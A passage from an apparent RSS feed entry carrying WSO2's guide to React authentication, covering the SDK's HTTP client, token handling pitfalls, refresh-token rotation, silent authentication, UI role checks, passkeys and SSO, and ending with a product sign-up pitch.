punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">givenName</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">p</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">p</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text">Family Name: </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">userData</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">name</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">familyName</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">p</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">div</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">div</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">export</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">default</span><span class="token plain"> </span><span class="token maybe-class-name">MyProfile</span><br></span></code></pre></div></div>
<p>In the above code apart from useState hook, we have imported useAsgardeo hook which is provided by the WSO2 React SDK and gives us access to authentication state and a built-in HTTP client.</p>
<p>Then we have received two important constants by calling the useAsgardeo hook.</p>
<ul>
<li class=""><strong>isSignedIn</strong> – tells us whether the user is authenticated.</li>
<li class=""><strong>http</strong> – a secure HTTP client provided by the SDK. This automatically attaches the current OAuth2 access token to outgoing requests.</li>
</ul>
<p>Then, we added a button. When the button is clicked, we call our API by executing the following function, which the function body closely resembles a standard fetch API call. And finally, we simply display the user profile data.</p>
<p>One habit to build early: token attachment is on by default, so turn it off deliberately when a request should not carry your credential. Calling a third-party API from the same client with attachment left on sends your user's access token to somebody else's server, and that is a leak nobody notices because nothing breaks.</p>
<p>Four things that go wrong here:</p>
<ul>
<li class=""><strong>CORS</strong>, which is not an authentication problem but presents as one. Adding an Authorization header makes the request preflighted, so your API must return your origin in Access-Control-Allow-Origin and Authorization in Access-Control-Allow-Headers. Miss the second and the browser blocks a request your API never sees, which reads exactly like a rejected token.</li>
<li class=""><strong>Scopes</strong>, which are decided at sign-in. An access token carries only the scopes you asked for during the authorization request. A 403 on a valid token almost always means a scope missing from your application configuration, not a defect in your React code.</li>
<li class=""><strong>Storage</strong>, which constrains how you read the token. The SDK's storage option takes sessionStorage, localStorage, browserMemory, or webWorker, and those correspond to the trade-offs in the storage section above. The interaction to know about: getAccessToken does not work under webWorker storage. That is the point of the worker rather than a limitation of it, because a token the main thread can read is a token injected script can read. On that setting, route calls through the SDK's HTTP client, which runs the request where the token already lives.</li>
<li class=""><strong>Expiry</strong>, which is the next section's problem. Access tokens are short-lived by design, so a 401 mid-session is normal operation and not a sign-in failure. Refresh once, retry the request, and only send the user back to sign-in if the refresh itself fails.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sessions-refresh-and-silent-authentication">Sessions, refresh, and silent authentication<a href="https://wso2.com/identity-platform/learn/react-authentication#sessions-refresh-and-silent-authentication" class="hash-link" aria-label="Direct link to Sessions, refresh, and silent authentication" title="Direct link to Sessions, refresh, and silent authentication" translate="no">​</a></h2>
<p>Access tokens are deliberately short-lived, so at some point one expires while your user is reading a page and clicking nothing. What happens next is the difference between an app that feels stable and one that logs people out at random.</p>
<p>The mechanism is a refresh: your app exchanges a React refresh token for a new access token in the background, and the user sees nothing. One requirement comes attached to that. <a href="https://datatracker.ietf.org/doc/html/rfc9700" target="_blank" rel="noopener noreferrer" class="">Best Current Practice for OAuth 2.0 Security (RFC 9700)</a> states that "Refresh tokens for public clients MUST be sender-constrained or use refresh token rotation." A React app is a public client, so the refresh token it holds should be single-use, with every refresh returning a new one and invalidating the old.</p>
<p>Rotation changes how you handle concurrency, and this is where implementations quietly break. If 6 API calls fail at once because one token expired and each fires its own refresh, five of them present a token that has already been spent, the authorization server reads that as replay, and it revokes the session. So queuing is not an optimization. It's what stops rotation from logging your user out.</p>
<p>Silent authentication is the other pattern you'll read about, and it deserves a warning rather than a recommendation. It re-runs the authorization request against the existing session at the identity provider, historically in a hidden iframe. Treat that as legacy. The provider's session cookie is a third-party cookie inside that iframe, so Safari and Brave block it by default and Firefox partitions it, and the request comes back with login_required rather than an error you can handle cleanly. The IETF's browser-based-apps draft makes the same point from the other direction, noting that third-party cookie blocking is exactly why "the use of refresh tokens has become significantly more attractive." If you need renewal without a refresh token, use a popup or a full redirect.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="roles-and-permissions-in-the-ui">Roles and permissions in the UI<a href="https://wso2.com/identity-platform/learn/react-authentication#roles-and-permissions-in-the-ui" class="hash-link" aria-label="Direct link to Roles and permissions in the UI" title="Direct link to Roles and permissions in the UI" translate="no">​</a></h3>
<p>One rule carries this section: the UI is never the enforcement point. Hiding a button is user experience, not security.</p>
<p>React role based access control means reading role or permission claims from the token and rendering accordingly, and it makes your product coherent. A user shouldn't see an admin panel link they can't use. But every one of those checks is cosmetic, and the API behind each action has to make the same decision independently, because a client-side check protects nothing.</p>
<p>There's also a staleness trap worth knowing. Role claims are baked into a token at issue time, so a permission revoked at 10:00 can still be present in a token until it expires. If your product needs faster propagation, shorten token lifetimes or fetch permissions from an endpoint rather than reading them from a claim.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="going-further-social-login-mfa-passkeys-and-enterprise-sso">Going further: social login, MFA, passkeys, and enterprise SSO<a href="https://wso2.com/identity-platform/learn/react-authentication#going-further-social-login-mfa-passkeys-and-enterprise-sso" class="hash-link" aria-label="Direct link to Going further: social login, MFA, passkeys, and enterprise SSO" title="Direct link to Going further: social login, MFA, passkeys, and enterprise SSO" translate="no">​</a></h2>
<p>Everything above is the foundation. The features users actually notice sit on top of it, and here's the property that makes learning the standards worth it: each of the four below is a change to your identity provider configuration, not to your React code. That's also the test to run on any vendor you're evaluating. If adding MFA means editing components, the abstraction leaked.</p>
<p>Social login lets users sign in with an existing account from a provider like Google, Microsoft, or GitHub. The connection is federated at the identity provider, so your React app still runs the same authorization code flow and receives the same tokens.</p>
<p>Multi-factor authentication adds a second proof. When it's adaptive, the second factor is conditional, prompted on a new device or an unusual location rather than on every sign-in, which is what keeps it from becoming friction users route around.</p>
<p>Passkeys replace passwords with a key pair bound to the user's device, built on FIDO2 and WebAuthn. For most consumer applications this is the highest-value upgrade on the list, because it removes the credential that phishing depends on. WSO2 Identity Platform documents this under <a href="https://wso2.com/identity-platform/capabilities/passkeys/" target="_blank" rel="noopener noreferrer" class="">passkeys</a>.</p>
<p>Enterprise single sign-on is the requirement that arrives with your first large customer, usually as "we use Okta" or "we need SAML." Your identity provider handles it through <a href="https://wso2.com/identity-platform/capabilities/single-sign-on/" target="_blank" rel="noopener noreferrer" class="">single sign-on and federation</a>, and it lands in your React app as no change at all.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="self-hosted-or-cloud-what-changes-in-your-react-code">Self-hosted or cloud: what changes in your React code<a href="https://wso2.com/identity-platform/learn/react-authentication#self-hosted-or-cloud-what-changes-in-your-react-code" class="hash-link" aria-label="Direct link to Self-hosted or cloud: what changes in your React code" title="Direct link to Self-hosted or cloud: what changes in your React code" translate="no">​</a></h2>
<p>At the protocol layer, the answer is nothing, and that's the point of building on standards rather than on an SDK. A conformant OpenID Connect (OIDC) provider publishes a discovery document, your app reads the endpoints from it, and the authorization code flow with PKCE runs identically whether the provider is running in a managed cloud or on a server in your own rack. Change the issuer, keep the protocol.</p>
<p><a href="https://wso2.com/identity-platform/" target="_blank" rel="noopener noreferrer" class="">WSO2 Identity Platform</a> is built on that premise. It runs as multi-tenant SaaS, and Enterprise adds a single-tenant private cloud instance and a self-hosted option where you download the components and run them on your own servers, on Kubernetes, or on an air-gapped network. The <a href="https://wso2.com/identity-platform/pricing" target="_blank" rel="noopener noreferrer" class="">pricing page</a> puts it plainly: "the platform is the same in all three."</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-to-go-from-here">Where to go from here<a href="https://wso2.com/identity-platform/learn/react-authentication#where-to-go-from-here" class="hash-link" aria-label="Direct link to Where to go from here" title="Direct link to Where to go from here" translate="no">​</a></h2>
<p>Authentication in React is a client-side ceremony around a server-side decision. Your React app never decides who a user is. It proves to an API that a decision was made, and almost every mistake in this area comes from forgetting which side of that line you're standing on.</p>
<p>Three things to take from this guide. Pick your option deliberately instead of installing the first SDK you find. Use the authorization code flow with PKCE, because the standards now require it for public clients. And treat every client-side check as user experience that your API still has to re-enforce.</p>
<p>To try it, <a href="https://asgardeo.io/signup" target="_blank" rel="noopener noreferrer" class="">sign up free</a> and follow the React quickstart, which gets you from an empty project to a working sign-in in a few minutes. If your requirements point toward running the identity provider yourself, <a href="https://wso2.com/products/downloads/?product=wso2is" target="_blank" rel="noopener noreferrer" class="">download WSO2 Identity Server</a> and start there instead. The protocol work you did above carries over unchanged. The SDK layer doesn't yet, so budget an afternoon for the provider and hook rename, or write against the OIDC endpoints and skip the question entirely.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
    </channel>
</rss>